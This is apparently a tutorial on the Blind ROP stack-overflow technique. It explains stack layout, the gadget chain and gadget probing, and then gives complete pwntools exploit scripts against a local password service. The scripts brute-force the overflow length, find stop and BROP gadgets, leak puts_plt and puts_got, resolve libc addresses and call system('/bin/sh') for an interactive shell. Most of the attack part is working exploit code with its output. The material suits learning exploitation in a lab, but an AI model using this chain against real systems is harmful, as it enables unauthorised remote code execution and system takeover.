BROP_Attack
StackLayout
In the first.we should know the stack layout:
buffer|canary|saved fame pointer|saved returned address
Model
1 | def modify(padding,rbx,rbp,r12,r13,r14,r15): |
2 | # pop rbx,rbp,r12,r13,r14,r15 |
3 | # rbx should be 0 |
4 | # rbp should be 1 ,enable not to jump |
5 | # r12 should be the function we want to call |
6 | # rdi = edi = r15d |
7 | # rsi = r14 |
8 | # rdx = r13 |
9 | payload = padding * 'A' + p64(gadget_one) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) |
10 | payload += p64(gadget_two) + p64(0) * (6 + 1) + p64(start_addr) |
Development
There are two ways to decrease the len of payload,then to build the evil code under limited length
1.In the front of ‘cmp rbx rbp’,controling the rbp and rbx to be equal to decrease the len of payload
2.Use the ROP more times to build the evil code
Split
Split asm_instructions into serveral smaller pieces.
For example,split ‘pop r15,ret’ into ‘pop rdi,ret’
Ret2reg
Writing the evil code into some address the can be executed,then we modify EIP [the address behind of ‘jmp’ or ‘call’]into the address of shellcode.
Blind ROP
1.Leak Stack Overflow Length
2.Leak Canary、RBP、Ret_addr
3.Search For Enough ROPgadgets
4.Dump The Memory From The Goal Machine
So Obey The Princinples That The above Have Mentioned
SearchGadgets
Using probe to test the address if is available or not,we always start from 0x400000,in order to get the StopGadget that doesn’t cause program to collapse or TrapGadget that can cause program to collapse
Probe Examples:
Use “probe,stop,traps(traps,traps,…)”
To Confirm the StopGadget,such as ‘ret’、’xor eax,eax;ret’
Use “probe,trap,stop,traps”
To Confirm the TrapGadget,such as ‘pop rax;ret’ ‘pop rdi;ret’
Use “probe, trap, trap, trap, trap, trap, trap, stop, traps”
To Confirm Pop Up 6 variable,and it is similar to Gadgetone
Control_RDX
Besides,we can control the rdx through using the function ‘strcmp’ or ‘strncmp’ and so on
there are four consequences from four combinations,but only the fourth is available
1 | strcmp(bad,bad) |
2 | strcmp(bad,readable) |
3 | strcmp(readable,bad) |
4 | strcmp(readable,readable) |
Searcher_Puts
Because ELF file header is ‘\x7fELF’,so it is necessary to build payload to leak the puts_plt
payload = ‘A’*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
Exploit
1.Run the following code to get the len of stackoverflow
1 | def getbufferflow_length(): |
2 | i = 1 |
3 | while True: |
4 | try: |
5 | sh = remote('127.0.0.1', 9999) |
6 | sh.recvuntil('WelCome my friend,Do you know password?\n') |
7 | sh.send(i * 'U') |
8 | output = sh.recv() |
9 | sh.close() |
10 | if not output.startswith('No password'): |
11 | return i - 1 |
12 | else: |
13 | i += 1 |
14 | except EOFError: |
15 | sh.close() |
16 | return i - 1 |
So get the len is 72 after running
2.Leak Address Of Stop_Gadget
1 | def get_stop_addr(length): |
2 | addr = 0x400000 |
3 | while 1: |
4 | try: |
5 | sh = remote('127.0.0.1', 9999) |
6 | sh.recvuntil('password?\n') |
7 | payload = 'U' * length + p64(addr) |
8 | sh.sendline(payload) |
9 | content = sh.recv() |
10 | sh.close() |
11 | if 'WelCome' not in content: |
12 | addr +=1 |
13 | else: |
14 | print 'One Success Stop Gadget Addr: 0x%x' % (addr) |
15 | return addr |
16 | except Exception: |
17 | addr +=1 |
18 | sh.close() |
Get the stop_gadget is 0x401070
3.Leak Address Of Brop_Gadget
1 | def get_brop_gadget(length, stop_gadget, addr): |
2 | try: |
3 | sh = remote('127.0.0.1', 9999) |
4 | sh.recvuntil('password?\n') |
5 | payload = 'U' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10 |
6 | sh.sendline(payload) |
7 | content = sh.recv() |
8 | sh.close() |
9 | print content |
10 | # stop gadget returns memory |
11 | if not content.startswith('WelCome'): |
12 | return False |
13 | return True |
14 | except Exception: |
15 | sh.close() |
16 | return False |
17 | |
18 | |
19 | def check_brop_gadget(length, addr): |
20 | try: |
21 | sh = remote('127.0.0.1', 9999) |
22 | sh.recvuntil('password?\n') |
23 | payload = 'U' * length + p64(addr) + 'U' * 8 * 10 |
24 | sh.sendline(payload) |
25 | content = sh.recv() |
26 | sh.close() |
27 | return False |
28 | except Exception: |
29 | sh.close() |
30 | return True |
31 | |
32 | |
33 | def find_brop_gadget(length, stop_gadget): |
34 | addr = 0x401200 |
35 | while 1: |
36 | print hex(addr) |
37 | if get_brop_gadget(length, stop_gadget, addr): |
38 | print 'Possible Brop Gadget: 0x%x' % addr |
39 | if check_brop_gadget(length, addr): |
40 | print 'Success Brop Gadget: 0x%x' % addr |
41 | return addr |
42 | addr += 1 |
Get the brop_gadget is 0x401252
4.Leak Puts_plt
1 | def get_puts_addr(length, rdi_ret, stop_gadget): |
2 | addr = 0x400000 |
3 | while 1: |
4 | print hex(addr) |
5 | sh = remote('127.0.0.1', 9999) |
6 | sh.recvuntil('password?\n') |
7 | payload = 'U' * length + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget) |
8 | sh.sendline(payload) |
9 | try: |
10 | content = sh.recv() |
11 | if content.startswith('\x7fELF'): |
12 | print 'Find puts_plt addr: 0x%x' % addr |
13 | return addr |
14 | sh.close() |
15 | addr += 1 |
16 | except Exception: |
17 | sh.close() |
18 | addr += 1 |
Get The Puts_plt is 0x401030
5.Leak Puts_Got
1 | def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget): |
2 | sh = remote('127.0.0.1', 9999) |
3 | payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadget) |
4 | sh.recvuntil('password?\n') |
5 | sh.sendline(payload) |
6 | try: |
7 | data = sh.recv() |
8 | sh.close() |
9 | try: |
10 | data = data[:data.index("\nWelCome")] |
11 | except Exception: |
12 | data = data |
13 | if data == "": |
14 | data = '\x00' |
15 | return data |
16 | except Exception: |
17 | sh.close() |
18 | return None |
19 | |
20 | |
21 | def leakfunction(length, rdi_ret, puts_plt, stop_gadget): |
22 | addr = 0x400000 |
23 | result = "" |
24 | while addr < 0x402000: |
25 | print hex(addr) |
26 | data = leak(length, rdi_ret, puts_plt, addr, stop_gadget) |
27 | if data is None: |
28 | continue |
29 | else: |
30 | result += data |
31 | addr += len(data) |
32 | with open('code', 'wb') as f: |
33 | f.write(result) |
Then Use IDA To Analyse The Code,Jump to the Address 0f Offset is 0x1030
Press ‘C’ To Switch String into ASM
So Get Address Of Puts_Got Is 0x401018
6.Exploit
1 | sh = remote('127.0.0.1', 9999) |
2 | sh.recvuntil('password?\n') |
3 | payload = 'U' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget) |
4 | sh.sendline(payload) |
5 | data = sh.recvuntil('\nWelCome', drop=True) |
6 | puts_addr = u64(data.ljust(8, '\x00')) |
7 | libc = LibcSearcher('puts', puts_addr) |
8 | libc_base = puts_addr - libc.dump('puts') |
9 | system_addr = libc_base + libc.dump('system') |
10 | binsh_addr = libc_base + libc.dump('str_bin_sh') |
11 | payload = 'U' * length + p64(rdi_ret) + p64(binsh_addr) + p64(system_addr) + p64(stop_gadget) |
12 | sh.sendline(payload) |
13 | sh.interactive() |